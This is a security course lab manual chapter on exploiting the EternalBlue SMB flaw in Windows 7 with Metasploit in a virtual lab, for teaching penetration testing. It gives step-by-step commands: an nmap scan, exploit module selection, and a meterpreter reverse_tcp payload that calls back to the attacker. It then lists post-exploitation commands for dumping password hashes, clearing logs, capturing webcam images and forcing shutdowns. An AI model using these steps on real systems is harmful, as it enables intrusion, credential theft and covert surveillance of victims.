LAB

9

Windows Hacking

By the end of this section, you should be able to:

- Identify vulnerabilities in Windows 7 OS.
- Demonstrate the use of Metasploit in exploiting vulnerability
- Exploit the vulnerability on Windows 7 OS.

9.1 Introduction

The successful of system hacking phase depends on how easy the vulnerability found on a machine is exploited. Each software including Operating system version or service pack has the possibility to have it unique vulnerability. Generally, this vulnerability exists because of flaws during the development of the operating system or software. A flaw in a software cause a vulnerability that lead to exploitation. In other words, an exploitation can only be used for certain vulnerability only. For example, an EternalBlue exploit can only be applied to a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. This vulnerability is denoted by entry CVE-2017-0144 in the Common Vulnerabilities and Exposures (CVE) catalog. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft

Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.

The EternalBlue exploit has since creates havoc among the windows users. On March 14, 2017, Microsoft issued security bulletin MS17-010 which alerted windows users on the flaw and announced that patches had been released for all Windows versions that were currently supported at that time, these being Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, and Windows Server 2016.

However, at the end of 2018, millions of systems were still vulnerable to EternalBlue. This has led to millions of dollars in damages due primarily to ransomware worms. Following the massive impact of WannaCry, both NotPetya and BadRabbit caused over $1 billion worth of damages in over 65 countries, using EternalBlue as either an initial compromise vector or as a method of lateral movement.

Task 1: Scanning Windows target

1. To start the Lab activity you need :-
    a. A Kali linux VM
    b. A Default Windows 7 VM with a standard user account

    Both VM should be set to A NAT network setting
2. Login as a standard user in the windows 7 VM and check the IP address, this windows 7 VM will become the victim/target

3. Login to Kali VM, open a terminal and check the IP address. The Kali VM will become the attacker in this lab activity.
4. On the same terminal on Kali VM, open a Metasploit console using the command

```
>msfconsole
```

5. Once the Metasploit console appear start the scanning on the windows machine by using the nmap command

```
msf> nmap -T4 -A -v [Windows 7 IP address]
```

6. From the result of the scanning identify the open port and do some research on the windows 7 vulnerability.
7. Generally, you will get port 139 and 445 is open, these two ports indicate that the windows 7 VM are implementing a SMB protocol features for windows sharing and expose to a vulnerability known as Eternalblue.

Task 2 : Exploiting windows 7 vulnerability

1. Once you have identified the vulnerability on the windows 7 machine, the next phase is to search for the exploit for the vulnerability. Most well-known vulnerability have an exploit script already available to be used especially in the Metasploit framework.
2. In order to search the suitable exploit script for a vulnerability, Metasploit user's can use the search command with the of use the exploit option type and the right keyword.

For example to search for the Eternalblue vulnerability you can type the command:-

```
msf> search type:exploit eternalblue
```

3. Any exploit related to eternalblue will be displayed on the msfconsole, to get further description on the exploit, user can used the command info and the specified exploit index.

```
msf>info
exploit/windows/smb/ms17_010_eternalblue
```

4. The information displayed contain the required setting for executing the exploits as well the detail description of the exploit including the specified target of the exploit.
5. To use the exploit, you can type the command use and followed with the reference index of the exploit.

```
msf>use
exploit/windows/smb/ms17_010_eternalblue
```

6. You will see the prompt change to the name of the exploit, now type in the command

```
…>show options
```

To get the required setting to start the exploit.

7. There are few setting need to be set into the exploit before the exploit can be executed, among the setting are the Remote target (RHOST), the Attacker or listening host

(LHOST), the listening Port (LPORT) and the payload/malicious script to be transfer to the target.

8. The payload is the malicious script an attacker will transfer to the victim machine and usually have the features to create a remote connection from the victim to the attacker. For this lab exercise we will use the Meterpreter payload (please refer to the Metasploit tutorial https://www.offensive-security.com/metasploit-unleashed/ for more detail on payload)
9. To set all the setting requirement, you need to type the command

```
…>set RHOST [the target VM IP (windows 7 IP address)]

…>set LHOST [the attacker VM IP (Kali IP address)]

…>set LPORT [the listening port on the attacker which by default is 4444]

…>set PAYLOAD windows/x64/meterpreter/reverse_tcp

…>show options (to check the setting)
```

10. Once the exploit requirement has been set, the exploit can be executed using the command

```
…>exploit
```

11. During the exploit you will see some information displayed on the msfconsole, this information show the exploit responses an if the exploit success, you will see a session is created and the prompt will change to

```
meterpreter>
```

12. The meterpreter prompt indicate that the exploit is a success and now the attacker machine has established a remote connection to the target.
13. You now have overtaken the windows machine remotely and are able to do some malicious activity to the windows machine. To get the option you can do towards the target, type in the command

```
meterpreter>help
```

14. Among the options are :-

    `getuid` – for getting the windows machine user id

    `screenshot` – for capturing the desktop screenshot of the windows

    `hashdump` – for downloading the SAM file that contain the windows user account and encrypted user password

    `clearev` – for covering track by deleting the security, application and system log

    `webcam_list` – list any webcam attach to the windows machine

    `webcam_snap` – capturing picture from the webcam

    `sysinfo` – information about the target machine

    `shutdown` – force the target machine to shutdown

15. These are the malicious command an attacker can implement once they got into the exploited machine. To exit just type exit -y and you will close the msfconsole , the remote connection also going to be disconnected.

- **This Lab manual come with a video demonstration, please refer to the video for extra exploitation features**
- **All the activities done in this Lab are very intrusive in nature and it is a crime to hack into anyone machine unless it is an official penetration test**
- **PLEASE DO THIS EXERCISE IN A CONTROL ENVIRONMENT AND FOR THE PURPOSE OF LEARNING ONLY**

Review Question

Do a research on other vulnerability a windows machine have.

1. List at least 5 other exploits can be use in attacking a window machine. Specify the version of the windows and type of vulnerability the windows version have.